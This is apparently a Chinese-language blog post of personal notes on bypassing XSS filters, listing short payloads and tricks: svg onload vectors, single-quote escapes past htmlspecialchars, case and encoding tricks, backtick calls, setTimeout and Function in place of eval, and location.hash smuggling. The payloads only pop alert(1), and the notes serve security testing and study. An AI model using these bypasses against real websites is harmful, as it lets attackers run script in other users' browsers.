zoukankan      html  css  js  c++  java
  • xssbypass小记

    简单整理下bypass的一些点

    标签外

    如果是标签之外 又有htmlspecialchars函数的点 就别想了

    在标签外同时能xss但是有长度限制 

    如果是储存型可以利用多个点 然后构造<script>标签 在中间利用/**/注释掉html代码 一点一点的组合payload

    除此以外<svg/onload=alert(1)>应该是比较短的payload了

    标签内

    标签内 有htmlspecialchars函数的点 就看属性包裹是不是用单引号  htmlspecialchars函数默认不过滤单引号

    也可以考虑html的十进制编码和十六进制编码

    JavaScript中

    一般输出在js之中 首先就是闭合之前的单引号或者双引号

    有过滤 想到大小写和编码

    关于编码 这篇文章讲的比较好http://cb.drops.wiki/drops/tips-689.html

    js是大小写敏感的  但是html是大小写不敏感的

    例如对正则式对事件on过滤 又没有加i   是可以用On绕过

    然后考虑js的八进制和十进制 还有unicode

    如果过滤了()  可以用·代替 alert() 和alert``效果是一样的

    如果过滤了eval()  可以用时钟函数替代  setTtimeout(),setInterval()

      还有匿名函数  Function(location.hash.slice(1))(1) 然后配合锚点后的输入

    如果过滤了alert ,document等敏感的字符串  可以配合锚点利用location.hash

      location.hash #alert(1)

      相似的<svg/onload=location=location.hash.substr(1)>#javascript:alert(1)

    还有一个姿势利用注释也能完成 

      <svg/onload=location='javascript:/*'+location.hash> #*/alert(1)

    在url中的<svg/onload=location="javascript:"+innerHTML+location.hash>"  #"-alert(1)

      据说也能弹  不过我没试过

    有多个参数 在过滤双引号但是反斜杠存活的时候

      可以利用反斜杠直接闭合中间的双引号 再注释后面的双引号

      location.href="........."+"&a=1"+"&b=xss//"+"&c=";

    <svg><script>alert&#40;1)</script>
      svg向量里面的script将其作为xml解析
      &#40; &lpar; &#x28;即被解析为(
     
    callback函数里的值如果无法控制 可以尝试在后面再加一个callback 试试变量覆盖
     
  • 相关阅读:
    Flex上传文件报“Error #2038”
    AMQ9558
    perl 运算符
    linux gdm 远程桌面访问
    perl 捕获变量
    android apk嵌套 从一个apk启动另外一个apk
    apk调用另一个apk
    ORA-01591 锁被未决分布式事务处理
    jQuery事件控制点击内容下拉
    作业还是作孽?——Leo鉴书79
  • 原文地址:https://www.cnblogs.com/slpawn/p/8630740.html
Copyright © 2011-2022 走看看